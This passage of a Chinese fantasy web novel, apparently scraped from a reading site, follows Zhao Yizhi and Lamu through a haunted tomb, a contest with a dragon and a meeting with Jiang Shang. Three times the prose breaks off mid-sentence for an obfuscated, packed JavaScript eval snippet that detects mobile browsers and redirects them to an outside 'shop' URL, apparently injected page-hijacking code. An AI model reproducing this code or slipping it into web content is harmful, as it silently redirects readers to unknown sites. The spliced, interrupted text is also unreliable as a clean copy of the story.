拉姆停下脚步,用算不上温柔的语气说:“前面有个墓室,等你做好准备我们再过去。” 赵义之打着灯探头探脑朝前看,只能看见所谓墓室的边角,看不见吓人的东西。他用力做了几个深呼吸,构建出一把桃木剑紧握手中,这才视死如归地说:“我准备好了,走吧。” “桃木剑?” “你别管。” 拉姆微微勾起嘴角,继续当赵义之的挡箭牌。 明明没有风,可一张黄色的薄纸仍像坠落的蝴蝶般,从前面某个地方被吹过来。就在赵义之的目光紧紧锁定它落在地面时,鼓声突兀地响起了。 咚,咚,咚…… 每一下都敲在赵义之的心脏上,阵阵发酸,沿着左手的经脉一直放射延伸到指尖。最难受的是无名指,好似骨头都被酸痛腐蚀。 入目之处,是一间四四方方的石室,最为显眼的当然是中间有些年岁的白玉棺,棺材前的香案上点着三支香,味道说不出来的古怪。火光与墓外的萤石绿光相撞,冷暖交织,无疑再次勾起赵义之的恐惧。 于是他再次构建出破坏气氛的强光手电筒,对着墓室一照,顿时安心不少:“人啊,还是得有光,没光谁也活不下去。” 抚摸着石棺的拉姆停下动作:“‘有’,才需要,‘没有’,就是‘不知道’。” 赵义之扭头看了拉姆一眼,听不懂他在说什么。他不愿靠近棺材,在三面石壁上仔细寻找缝隙——有缝隙,便可能有门。 交谈停下,周围只有他们缓慢的脚步声,以及手指拂过石头的细微之音。所以当右耳边传来叹息时,赵义之立刻就捕捉到了。这声叹息离他实在是太近,他只能确定并不是自己发出来的,但心里依旧抱着一丝希望。 “拉姆。”他想通过拉姆的回应,来判断。 “嗯?”拉姆的声音在他背后,有些远。 手电筒的光被赵义之对准了面前的石壁,背后其实是比较暗的,即使藏着什么东西,也不奇怪。所以在回头前,他先用手电筒照过去,随后才僵着脖子,慢慢回头。 还好,什么都没有。 他刚松口气,垂下头时却瞥见自己身旁有一双满是污泥的红色湿布鞋,鞋尖正对着他。他低头定定看得几秒,顿时触电般跑去找拉姆,躲在他身后指着女子的红布鞋牙齿打颤。 “有、有鬼……!” 拉姆不顾赵义之此时的心情,拿起一只龟背递上去:“你看看这个。” 赵义之瞥了一眼:“你直接念吧,我看不懂。” 拉姆轻轻叹口气,将龟背放回棺材里。 嗯?棺材里? 赵义之震惊地看着被移开的棺盖:“你什么时候打开的?!” “刚才。”拉姆伸手在棺材里面继续摸,淡定得很。 “你……!”赵义之想骂人,硬生生忍了回去,“下次先说一声,让我有个心理准备,万一蹦出来个尸体什么的。” 拉姆答应得爽快:“下次再说。” 赵义之无语地瞥了拉姆一眼:“你让我看的龟壳上写了什么?” “墓主人的名字。”说话间,拉姆又摸出来一面精致的青铜八方镜,“雒宓。” 赵义之脑袋转得快,一下子想到了那副洛神图:“她是洛神?!那刚刚的……是河神娶亲里的新娘?” 拉姆用沉默代替了回答。他细细摩挲着铜镜的样式——八角上各镶有一颗鸽子蛋大小的玉黄色珠子,里面写着粗黑的文字。可惜拉姆看不见,赵义之又不认识。 赵义之从拉姆手中拿过八方镜,朝镜面哈口雾气,用手掌一下一下擦干净。被抛光过的铜面上映出赵义之模糊的脸——尽管铜镜没有生锈,也因为时间而饱受摧残。 旁边的拉姆突然拍拍赵义之的肩,赵义之转头去看。迎面而来的是一张骇人的鬼脸,犹似刚从地底挖出来的人头,骨头与稀疏的长发都糊满污泥。 赵义之被吓得尖叫,再也顾不上什么铜镜不铜镜了。 “呵呵呵……”拉姆笑着揭下脸上的恶鬼面具,看起来十分开心。 赵义之举起铜镜作势要揍他,只是作势,随后便放下了拿铜镜的手:“吓死我对你有什么好处。” 照向地面的铜镜里,赫然多出第三双女人的脚,穿着那双湿漉漉的旧红布鞋,站在赵义之正对面。然而铜镜之外,并没有第三人。 “洛神是淹死的。”拉姆没头没尾忽然说,“死后成了河伯的新娘。” “那我之前看见的那个……” “河伯冰夷很贪心,有了洛神这位妻子仍旧不满足,于是又要人给自己送新娘,不然就兴风作浪。”拉姆似乎很喜欢这只鬼面,拿在手中迟迟没放回去,“据说冰夷看上了秦灵公的女儿。秦公不愿意,于是找来一个容貌与公主相似的平民,赐名赢夭。” 赵义之冷笑一声:“官大一级压死人,哪个时代都一样。” “此事真假未知。但之前的新娘并不是‘赢夭’。” “因为耳朵?那样的耳朵我总觉得在哪里见过。” “拿好,千万别弄丢了。”拉姆将鬼面具交给赵义之,再次往外推开厚重的棺盖,随后竟然跳进去在女尸身边躺下。 赵义之趴在棺材边往里看。 躺在拉姆身边的女尸戴着黄金面具,看不见面容,身上穿戴的首饰非金即玉,衣裳的料子也远胜女叔所穿的,堪称一句极尽奢华。不过许是闷在石棺中的年岁太久,她身上的、以及身边的随葬物,都已显得旧败了,入殓时的风光与辉煌,唯有遥想。 “你……这又是什么打算?”赵义之问。亲眼见到棺材中的尸体,他反倒没有想象中那么害怕。 拉姆坐起来,侧头看向身边的女尸,问赵义之:“你在石墙上找到离开的门了吗?” “还没有,这不是被你叫过来了。” 在他们看不见的地方,赵义之背后的红布鞋往前走了一步,铜镜中慢慢出现一双苍白的手,抱住赵义之的脚踝。 赵义之只觉得身体骤然一轻,尚且来不及反应便栽进石棺。 轰,棺材盖瞬间合上。 突如其来的黑暗令赵义之的大脑停止运转,他保持着趴在女尸身上的姿势,久久不敢动弹。 “拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17355768|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、拉姆。” “嗯?” 听到回应,赵义之稍稍松口气:“刚刚有人抱住我的脚,把我掀进来了。” “你确定是人?”拉姆幽幽反问。 当拉姆问出这句话,赵义之不可避免地起了一身鸡皮疙瘩。他正想开口,裤脚却不知被什么撩动,冰冷的轻触之后,是一股吹来的气息,接着是毛发不经意的拂过。明明很痒,却令人浑身起了鸡皮疙瘩。 有什么正从脚那端慢慢爬过来。 “拉姆……”赵义之艰难地发出声音。 可这一次,没有人再回答他。 封闭的石棺里没有一丝光亮。赵义之屏住呼吸,一点一点向旁边伸出手,就怕惊动匍匐在自己背后往上爬的东西。他以为能摸到拉姆的胳膊,只要摸到了,即使拉姆没有任何回应,也足以让他心有所依。 然而指尖触碰到的,却是坚硬而平整的石头。 拉姆不见了。 封闭的石棺里,只剩下他,和一具尸体,以及一只爬到他背上的鬼。 “啊————!!!艹!艹!艹!” 赵义之迅速翻过身,拳打脚踢疯狂挣扎,已然顾不上涵养,一边骂着脏话一边不停用手指抓挠棺材盖。他要出去,必须出去! “拉姆!拉姆救我!!放我出去!拉姆!” 他心里发慌,顾不上构建武器,只想立刻从棺材里逃出去。 那只鬼紧紧贴在赵义之胸口,缓缓将头伸到他面前,赵义之甚至能感觉到自己呼出的气息被它挡回来,变得像三九天里的寒气。 黑暗加深了恐惧,赵义之迫切想将它推开,迫切想逃走,可棺材里的空间实在太小了,他无处可逃,一边崩溃一边徒劳地挣扎着。 身下的尸体抬起两只手臂,紧紧环住他,像缠住猎物的森蟒,不断绞紧。 等等…… 如果他背后压着的是墓主人,那此时趴在他胸口掐住他脖子的又是什么?! 有两个? 赵义之的大脑快速冷静,努力顺着掐住自己脖子的双手往上摸——是女人,浑身湿透的女人。 砰!砰! 厚重的棺盖发出巨大响声,而后便碎成几块塌陷下来。 光线照进来的同时,压在身上的鬼消失了,赵义之看见了拉姆的脸,几乎欣喜得要哭出来。 见赵义之还算平安,拉姆松了口气:“出来吧。” 赵义之起身翻出石棺,强撑着疲软的双腿扶住拉姆的肩,等到缓过劲来,他才发现拉姆的中山上衣已经不见了,剩下的衬衫也比之前更破烂,显然是经历过一场搏斗。 “难道有三个?”赵义之呢喃自问。 有太多的疑问,不过眼下最重要的是赶紧离开这鬼地方。 拉姆将手中的鬼面交给赵义之保管,弯腰捡起掉在石棺旁的八方镜,抬头望向棺材的正上方——那里悬挂着一盏熄灭的长明灯,灯座正好是镂空的八方形。他跳起来,踩着棺材边借力一跃而起,将青铜镜放上灯座。 身手敏捷得不像话。 长明灯无火自燃,青色的火光透过八颗黄珠照下来,将里面的字映在地板上。 手电筒在赵义之被拉入棺材时,便已消失,此刻四周的昏暗正好衬得长明灯格外亮堂,字影也还算清晰。 但赵义之还是看不懂。 幸而拉姆通过细微到几乎没有的温度差,弄清了那八个字——龙马河图龟背洛书。 在赵义之茫然的目光中,拉姆找到之前那块刻有“雒宓”二字的龟壳,说:“我需要一盆水。” 35.愿者上钩 将龟背放进赵义之构建的水中,很快,随着龟壳的舒展,“雒宓”二字如细砂般散开,最后变成点、圈与线组成的图案,看似简单,又暗藏深意的图案。 “这又是什么?”赵义之看着龟背上显露的图案问。 “洛书。”拉姆解释道,“是一幅有关空间变化的趋势图,所谓‘洛’,即是‘脉络’的意思。另外还有一幅河图,是星象图。两幅图结合,是最初识别‘时间’与‘空间’的规则,也可以说是世界的真理。” 赵义之盯着龟背上的图案看了半晌,抬起满是狐疑的脸:“这是世界的真理?什么真理?” 拉姆不介意赵义之语气中的嘲笑:“是什么。” “什么是什么?” 沉默许久,拉姆才好似下定决心,缓缓开口:“世界的本质,是一个疑问。‘这是什么?’正是因为有了这个疑问,世界才诞生,宇宙才诞生。” 赵义之摸着下巴:“你这算是唯心论?” 拉姆“看”了赵义之一眼,低头将龟背从水里捞出来,而后,上面的图案乃至龟背本身,化作一只发光的蝴蝶飞向空中。 “第一个本位已经找到。”拉姆漫然说道。 赵义之却不可置信:“这么半天才找到一个?!一个?!” 回答他的是一阵石门打开的轰轰声,准确来说,是石棺移动,露出下行的阶梯。 与萤石充沛的洞府不同,阶梯下漆黑不见光,像张等待猎物自投罗网的怪物之口,静静期待着。诱饵正中红心,猎物们别无选择,只能乖乖走进陷阱任它蚕食。 来吧,快进来。 拉姆悠悠站起来,身上破烂的衣服掩盖不了他举止间的优雅:“我需要一根鱼竿、一条鱼线。” “简单。”赵义之将构建出来的渔具交到拉姆手上,“你想做什么?” “钓鱼。”拉姆拔掉鱼钩扔去一旁,在地道口垂下光秃秃的鱼线。 赵义之笑他:“你这是学姜太公啊,愿者上钩。哪有鱼这么傻。” 拉姆泰然自若,没有应话。 “对了。”赵义之忽然想起来,“我有一个疑问。刚才在棺材里,我那可是腹背受敌,而你在棺材外也跟人……鬼打架,这么算,至少就有三只。那另外两只怎么来的?” “传说中,雒宓生前是伏羲的女儿宓妃,溺死洛水后成为洛神以及河伯之妻洛嫔。洛嫔转生,则成了甄宓。” 他话音落下不久,垂进地道口的鱼竿便被拉动。拉姆不慌不忙收回线,最后才猛地拽上杆子,将门下的猎物收回来。 那是一条尾巴燃着火焰的红鲤鱼,嘴里衔着没有钩子的鱼线,从地道入口一跃而出,于空中划弧时松开引它而来的线,化作飞龙。 “烧焦的原来是鱼尾……”赵义之仰头看着飞龙呢喃,“不是,它都焦了,不下个锅吗。” “是你帮了我。”飞龙盘在半空,俯视拉姆,“你想要什么?” 拉姆面朝飞龙仰起头:“本位。” 飞龙听后哈哈大笑,道:“如果你有这个本事,便来抢吧!” “这走向不对吧。”赵义之来到拉姆身边,“难道不该送给我们吗。” “送?凭什么?即使没有你们,我照样能越过龙门。”飞龙故意在两人面前转悠。 赵义之问拉姆:“这次的本位是什么?龙须?” 拉姆举起手臂,指向飞龙:“龙眼。” 赵义之瞪大了眼:“这要怎么抢?!生挖眼睛太残忍了,虐待动物。” “哈哈哈!”飞龙大笑三声,雄浑的龙音震得整座墓室都在响,“我只给二位一炷香的时间。” 拉姆微微蹙起眉。十五分钟,要拿龙眼委实仓促了些。 “哎呀!”赵义之没由来地拔高声音,“只有十五分钟,像我们这种没什么能力的人,怎么可能赢得了龙神大人嘛。”他故作出苦恼的样子,偷偷戳了一下拉姆的后腰,“拉姆,要不我们还是认输吧。” 拉姆没能成功接收到赵义之的暗示,满脸困惑:“我知道很难,但——” 赵义之恰时打断他:“你也觉得很难对吧。唉!谁都知道龙神法力无边,从古至今都是中国人的信仰。” 拉姆对赵义之的言行倍感疑惑。 飞龙对这番吹捧十分受用,得意地扬起龙首:“这话我爱听。” “我们得好好想个办法,不然怎么可能奈何得了龙神大人。”他一边说,一边搂着拉姆走到角落,两只脑袋凑一块儿,悄声说,“一会儿我数一二三,我们就一起扑上去压住它,谁里龙眼近,谁来取。” “你不是说虐待动物。” “我有这个。”赵义之拿出一支针剂。 拉姆抬手捏住针管:“这是……?” 赵义之附在拉姆耳边悄声说:“□□,麻药。用寻常的方法,十五分钟内很难解决掉那条龙,我知道你不在乎茧房中这些生物的性命,但还是别做得太残忍。” “他们只是信息拟态。” “我知道。就当是为了满足我的圣母心吧。” 沉默半秒,拉姆点点头:“好,听你的。” 赵义之将手里的麻醉剂交给拉姆:“我们一人一支。你拿好,千万别戳到自己,这东西连老虎大象都招架不住,虽然要看剂量,但还是小心点好。” “我会的。” “机会只有一次,被它发现就不灵了。” 说话间,赵义之已然构建出一支武器端在臂弯中,灵感源于网抢。但对手是龙,这只网枪的量级自然就大许多。 “一……”赵义之大声数,“二……三!” “三”字重重落下,需要赵义之用双手才能举起的网枪与拉姆同时发射。飞龙正眯着眼睛自鸣得意,被巨大的渔网拢住身体时还浑然不觉,直至拉姆扑过去握住龙角骑在龙背上,将它狠狠压制在地面,突然的坠体之痛,才令它回过神来。 可惜晚了。 拉姆手中的针管重重落下。 铿,的一声,针头与龙鳞相撞后,断了。里面的麻醉剂没能注入飞龙体内。 异样的声音与触感引起了飞龙的注意:“你做了什么?” “压好它!”赵义之扔下枪壳冲过去,手里多出一支一百毫升的□□。只要让飞龙丧失部分行动能力,其他就都好说了。 看见那粗大的针头对准自己的眼睛,飞龙终于慌了,它疯狂甩动身体想摆脱骑在背上的拉姆,顺势躲开赵义之的攻击。拉姆悄咪咪放出触须将自己与飞龙缠绑在一起,以免被甩下去。飞龙挣扎无果,索性迎上赵义之的针头喷出一股火,继而遁入来时的地道逃走了。 赵义之满地打滚压灭身上烧着的火,再起身时,墓室中已经没有拉姆与龙的身影了。 “拉姆!”他朝地道内大喊一声,等不及拉姆的回应,也钻入地道,打着手电往前追。 穿过地道,尽处是空无一物的山洞,洞壁上满是烧焦的痕迹,显然刚经历一场激烈的大战。 “拉姆,你没事吧?” “我没事。” 赵义之四下张望一眼,有些意外——飞龙盘在洞顶垂下的石笋上,双眼目不转睛的盯着拉姆,伤得不轻。而拉姆,浑身上下没有分毫刚经历过恶战的狼狈。 “你……弄的?”赵义之指着上方的红龙。 拉姆没有回答,而是走到石笋下,向龙伸出手掌:“龙眼,拿来。” 紧攥的兽抓倏地松开,滚出一颗鲜黄的大龙眼掉在拉姆掌心间,还带着一片绿叶。 无声无息的墓室内,只有彼此的沉默。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359230|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉默,是无话可说。 赵义之收起针管,端正站姿,深深吸了一口气,礼貌地问:“这颗龙眼,就是本位?” 攀在石笋上的龙骄傲点点头:“正是。” “你知道?”赵义之又问拉姆。 拉姆沉着回答:“知道。我本来打算告诉你,但你似乎玩得正起劲。” 赵义之的双手紧紧握成拳:“我哪里是在玩,明明是在想办法!你一句话就能解决的事,害我忙半天!” “吃吗?”拉姆将龙眼递给赵义之。 赵义之还未从混乱中回过神:“吃什么?” “龙眼。” “这……也可以?” “嗯。” “不了,你吃吧。” 拉姆收回手,剥开龙眼,吃了。他扔了皮,将果核攥在手心:“走吧。” 的确是要走的。赵义之最后看了一眼石笋上挥手送别的龙,跟着拉姆继续往前走。 而今,赵义之才有闲情问起:“之前在墓室,到底发生了什么,我是怎么进的棺呃……那里头,你又是干了什么把自己弄成这样?” “你受蛊惑,非要自己跳进石棺。我想救你……”拉姆不禁叹口气,“你挣扎得很厉害,我费了很大力气还是无法阻止,不得已,只好砸碎棺盖。” 赵义之惊诧转头,打量着拉姆:“所以你这么狼狈……是我弄的?” 换而言之,他在棺材中所感受到的束缚,其实是拉姆在救他? “所以根本就没有另外两只鬼?” 拉姆并未被衣着的狼狈影响,正如寒霜不败傲雪梅,身姿挺拔:“镜子照太久,容易受蛊惑。” 他没有半点责怪的意思,反倒叫赵义之觉得不好意思了。赵义之摸摸后脖子,尴尬地笑:“我就是觉得那面镜子的样式很特别,以为有什么玄机。” 算不上长的洞道连接着一扇高大的青铜门,门上的雕花被切分成三十五个方格,线条杂乱、纹样无章,看不出究竟是个什么图案 “是个拼图。”赵义之不禁笑了,“来这套。” 拼好的图案是一条龙,龙眼的位置恰好有个窟窿,不大不小,正是龙眼果核的大小。 赵义之无语地盯着锁孔看了片刻:“核呢?” 拉姆摊开手掌,赵义之从掌心拿起果核,插入龙眼处的窟窿里。 推开青铜门,最先出来的并非鬼怪猛兽,而是一股寒气,冻得赵义之不受控制地打了个寒颤。 寒冷的石洞洞壁上覆盖着一层薄薄的冰,在探照灯的灯光下晶莹剔透。 “居然有宝藏。” 洞中一角堆放着上百只大大小小的木箱。 赵义之走过去,仔细观察:“这里面有本位吗?” “没有。”拉姆淡然回答,走向山洞另一方。 听到这个答案,赵义之顿时也对那些木箱中的东西失去了兴趣。 山洞另一方,宏伟的石门格外惹眼。石门外,风声飒飒,赵义之贴耳听了听,喜不自禁。这暗无天日的地方,总算是让他走到头了。 石门大而方正,上面的雕花壁画更是美妙绝伦——一幅星辰浩瀚的渺渺宇宙图。若是看得再仔细些,便能发现每一粒星尘都在变化,闪烁、移动,和消失。而宇宙中央,是一颗连光芒都雕刻出来的巨大星星,或者说,是“太阳”。 赵义之对巨大的星星莫名感到熟悉,不由自主仰望着它,高举起手臂,想要触碰。 轰隆—— 面前的石门毫无征兆地打开,外面飘着雪。 “咦?”门外的人先开口,“竟已有先来人。” 苍劲的声音混在风雪里,却比风雪更缥缈。他摘下头上的斗笠,露出华发长须,与一双神闲自如的带笑双目。 36.神之山 老人边解蓑衣边带着风雪走进来,说:“老夫氏姜,名尚。二位君子如何称呼?” 姜?赵义之上下打量一番眼前的老人,心中已然猜到老人的身份。太公钓鱼——也正是三幅壁画上的其中之一。 他想起拉姆之前提到过殷商取名的规则,于是笑着说:“您叫我伯义就行。这位……”他看向拉姆,“伯拉?” “拉姆。”拉姆纠正。 “好好,拉姆。”赵义之点点头,瞥了一眼山洞外,又对姜尚说,“姜公,外面这么大的雪,您怎么还来爬山啊?” 越过赵义之,姜尚看了看他们二人身后打开的青铜门:“二位可是常住神山?” 赵义之瞥一眼拉姆:“算……是的吧。”他没有向姜尚交底,“您独自一人进雪山,不是为了钓鱼吧?” 姜尚盯着赵义之与拉姆细细端详半晌,寻思一番,才开口:“实不相瞒,老夫上山是为寻找传说中的神兵利器。”他抬手作礼,“若是二位小友知道与之有关的线索,还请告诉老夫。” “你是来山上找兵器的?!”他惊讶地睁大双眼。 什么兵器会藏在山里? “正是。”姜尚半米起眼,捋着胡须,“如今人与神混战,山河不复,天将崩矣!” 赵义之眉头微皱,甚是不明:“人和神仙打架?那妖呢,狐妖苏妲己?” 姜尚脸上些许茫然:“不曾有闻。” “怪了。”赵义之小声嘟囔,“苏妲己是真实存在的人,怎么会没听过。” “所谓妖者,祸也。可如今祸害百姓的确并非是妖。” “那姜公口中的神,是……?” “巨人。”拉姆沉沉出声,“是巨人。” 姜尚面露一瞬讶异,很快便又恢复平静,不掩愁思:“原来平原的战事已传至昆仑雪山上。”他无奈笑笑,“确也并不奇怪。” “巨人。”赵义之扭头看向拉姆,“我记得之前的诗里也提到过,还有……” 拉姆的身体十分明显地一僵,他紧抿嘴唇不言语。 赵义之敏感地察觉到拉姆的异样,压低声音问:“不会真的打过仗吧?那这神兵利器至少得是炸弹火箭炮了。”他回头看了眼那些木箱,“或者,核武器。” 顺着赵义之的目光,姜尚也发现了那些木箱,他丢下蓑衣斗笠大步走过去,紧张地搓搓手,双目里难掩兴奋。他咽了口唾沫,小心翼翼打开木箱的盖子,伸手——拿出一把珠宝。他眼中的光瞬间熄灭,难掩失望。冒着风雨寒霜寻了许多年的‘救国神兵’竟就只是些金银珠宝,实在可笑。 姜尚长叹一声,放下银子重新盖好木箱,本来直挺的背略微佝偻着,久久没能转过身来。 “我一直不明白……”拉姆犹如叹息一般的声音打破沉寂,“为什么会有战争。明明‘不同’才是世界的的本质,人,为什么非要追求‘大同’。全都一样,不是很无趣吗。” 姜尚勾了勾嘴角,却并非是在笑:“君王者,求大同,人臣者亦求大同。所谓大同,正是囊括不同,才称之为‘大’。” “可您不是说巨人乃是神吗,难道您要弑神?”赵义之表情古怪。他对姜子牙的印象,大都是关于《封神演义》中,那位道骨仙风的老者。 神,也要弑神? 姜尚缓和了表情:“神若以恶治人,我为众生弑神又何妨。” 肩膀上忽然搭来一只发抖的手,紧紧拽住了衣裳,赵义之转头看向手的主人,却发现他咬紧牙脸色难看,连睫毛都在微微颤动。在那场令赵义之印象深刻的盛大婚礼中,给拉姆送上祝福的就有两名巨人。 如果姜尚口中的神指的就是他们…… “善恶从来都不是黑与白。”赵义之对姜尚说道,“我不清楚你们之间到底发生过什么,不好评判。很多时候的对错,都是立场不同造成的,也就是所谓的食物链吧。” 老人家不大听得懂赵义之的话,表情稍有疑惑。 “食物链之外呢,是亲疏关系。我不认识你,也不认识什么巨人。”赵义之忽然笑起来,“但我知道我的朋友不喜欢你们弑神,所以我站他。” 拉姆的身体僵了一下,显然没想到赵义之会这么说。 姜尚没有生气,笑呵呵地打量赵义之,悠然说道:“可是战争已经无法阻止,光凭你二人‘不喜欢’,又有何用处呢?况且,若非走投无路,谁又当真想与神斗。” 婚礼上的两名巨人并非凶神恶煞之辈,赵义之不大相信那样的人会做出逼得普通人活不下去的事。 “走投无路,是什么意思?” “小友是个率性的人,那我也不必隐瞒。”姜尚捋着他那垂至胸口的胡子,捡起蓑衣重新披上身,“因为——” “利益。”拉姆抢在姜尚前面回答,“有了利益,就有了冲突。” 姜尚抬眼看向拉姆,脸上依旧保持着淡淡笑意:“并非是寻常小利,而是关乎我等性命之事。巨人欲要归天去,便让我等百姓为他造船,辛苦尚且不表,前去造船之人全都死于非命。几番暗中查探,才知道罪魁祸首正是那艘船的燃料。” 从姜尚口中听到“燃料”二字,赵义之有种不可思议的感觉,古怪得又有些合理。 “船终于造好,可惜却没能成功飞离陆地,在空中解体。可是巨人不甘心,又逼迫我们造第二艘、第三艘……为了那能飞上苍穹的船,已经死去太多太多的人,我等,唯有反抗才能留给后世一条活路。” 赵义之小声向拉姆求证:“真的假的?” 拉姆摇摇头,说:“茧房中的信息是错乱的。我们造船的时候,并没有‘这些人’。战争的对手,也并非是他们。” “小友愿意选择谁都无妨,我等也不会因此而放弃反抗。”姜尚拾起斗笠,“既然此处没有我要找的东西,那我也该往别处去了。” “你要找的神兵不会是核武器吧?” 姜尚的动作顿住,他诧异地看向赵义之:“小友知道此物?” “还真是。”赵义之挠挠下颌,“我见过。” 姜尚立即一喜:“在何处所见?可否透露一二?” “告诉你也没什么。”赵义之拽住似乎有话要说的拉姆的手,以示别慌。 “那,我就先谢过小友了。” “别急着谢我,我虽然见过,也知道哪儿有,可根本拿不到。别说拿,就连靠近都不可能。” 姜尚双手里外相叠,躬身对赵义之行了个礼:“还请小友不吝告知。” 赵义之侧目看了眼身边的拉姆,垂下眼帘寻思片刻,才说道:“好吧,我告诉你哪里有。只不过,你得用本位来换。” 姜尚自是了然:“好说。” 赵义之挑动眉尾,掌心一番,上面便出现一卷纸质的世界地图。他将其展开,送到姜尚面前。姜尚诧异于他的凭空造物,直愣愣盯着那张地图说不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17362912|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出半句话来。 “这一片,还有这一片,这几个国家都有你想要的核武器。”赵义之的右手握着笔,分别在地图上画下几个圈,“再具体的位置我也不知道了,得靠你自己去找。” 姜尚双手接过地图,反复抚摸着:“这是……何物?” “地图。”说完他很快反应过来,又补充道,“纸。” “小友当真是……非同一般啊。”姜尚感叹道,仔细叠好地图贴身放入怀中。 赵义之手掌往他面前一摊:“说好的。我要的东西呢?” 姜尚笑着摇摇头,随后取下自己的斗笠,戴在赵义之头上:“言信于君。” 赵义之转手将斗笠交给拉姆,确认是他们要找的东西后,才向姜尚道谢:“各取所需嘛。” 临别时,姜尚叫住赵义之,对他问道:“伯义究竟何许人?” 赵义之认真思索一番,笑着回答:“好人。” 姜尚实在没想到,愣了愣,大笑三声,捏着胡子走出山洞:“后会有期!” “现在有洛书、龙眼、斗笠,三个本位了——哎你等等我。”赵义之掰着手指头在数,拉姆漠然走向洞口。 “以前真的和巨人发生过战争吗?文献史料里怎么都没有记载。” 拉姆依旧冷冷的,不说话。 赵义之好奇地去看他的脸:“你不会是在生气吧?” “我没生气。”以防赵义之给自己安莫须有的情绪,拉姆顿了顿,又说,“只是不想再回忆那段经历。” 赵义之有些愣,于他而言是历史,对拉姆来说却是残酷的经历,他不该抱着好奇和有趣去打探。 “对不起。”赵义之收敛表情,“我不是想打探你的过去,就是随口问问。哦对了,你冷不冷?”他刻意找话揭过刚才的失礼,“我给你变几件衣服出来。” “我不冷。” “但你衣服都烂得像抹布了,还是换一身吧,我帮你搭配。” 他执意给拉姆重新弄了身行头——上衣是黑色半高领的内搭加浅灰色刺绣休闲西装,绣的当然还是那条双头蛇,下身是与上衣成套的浅灰色宽松西裤。赵义之半强迫拉姆穿上,觉得还差点意思,便又给他配了皮带作点缀。 拉姆体脂少,这一套上身竟有几分秀场模特的范儿。赵义之越看越满意,顺便给自己也换了一身——黑色的复古皮夹克外套,里面是宽松的白衬衫,点缀一根银项链,下面配条肥大的深灰色牛仔裤。 他平时难得用心打扮自己,如果不是拉姆,或许他随便一件羽绒服和牛仔裤就搞定了。 “好了,走吧。”赵义之帮拉姆整理好衣领,顺手拍了拍他的后背。 山洞外飘着雪花,茫茫皑皑。寒风携着白雪拂面而过,冷,赵义之不禁打了个寒颤。他立即戴上围巾手套,又扔给拉姆同样的东西。 积雪很深,几乎没过他们的大腿,要高高抬起脚才勉强走得出艰难的一步。 “要是有辆铲雪车就好了。” 话音刚落,一辆黄色的铲雪车便停在赵义之面前。 “我只是提了一嘴还没来得及想,居然也能行。”赵义之有些惊讶,“可惜只能坐一个人,要是有副驾就更好了。” 说这句话的时候,赵义之满怀期待。于是原本只能容纳司机的铲雪车竟真的又多出一个副驾的位置。 “上车。”赵义之拍拍拉姆,随后拉开车门爬上驾驶舱。 37.一杯浊酒 拉姆踢开阻挡的积雪慢慢挪到副驾室外,摸索着找到门把手的位置,拉开门,顺着门下的金属梯磕磕碰碰爬上去,坐好,关上门轻轻呼口气。 铲雪车的确比他们用双脚走路快一些,但也仅仅只是一些。以目前的速度前进,即便八小时的时限到了,他们也依旧在山上忙着铲雪呢。 “雪地摩托,我要两辆雪地摩托!”赵义之忽然大声喊道。 副驾的拉姆被突如其来的声音吓得一颤:“出什么事了?” “没出事,就是想要更快的交通工具。我试试。”他说着闭上眼。 如赵义之所愿,两只雪地摩托构建成功了,他怪叫一声,开门跳下铲雪车,欢欢喜喜坐上去,朝车里的拉姆咧嘴笑:“来啊,一人一辆,看谁跑得快。” 先前才被逼着换衣服,此时拉姆已然略有不情愿:“还剩九个本位,时间不多了。” 赵义之脸上的笑容一滞,随后起身走到铲雪车的副驾室外,打开门,拽住拉姆的手臂往下拉:“就是因为时间不多了,才要骑雪地摩托,这个速度比铲雪车快多了。” 拉姆被赵义之拽下车带到雪地摩托旁,又在他的指挥下骑上去。 “你会骑吗?”赵义之问。 拉姆握住右把手转动油门:“会。” 赵义之这才回来坐好,双脚一收滑下山:“走喽~哦呜哦呜~” “你太慢了。”拉姆挑选了一条更优的路线追赶,右手的油门不断加速,在超过去的刹那间,向赵义之抬手挥别,“小朋友。” “小……你给我等着!”赵义之加速狂飙。 雪尘飞扬,在他们转弯时掀起阵阵白岚。 领先的拉姆渐渐慢下来,扭头“眺望”山的另一端,然后停下。 赵义之从旁边“嗖”地冲过去,绕了个大圈开回来:“发现什么了?” “下个本位在那边。” “走啊,等什么。”赵义之拧拧油门,笑看着拉姆,“输的人叫哥!” 他们骑着雪地摩托一路北行,刺骨的风还未彻底变暖,地上已褪去白衣,露出青山原本的样貌,树也青葱成林。 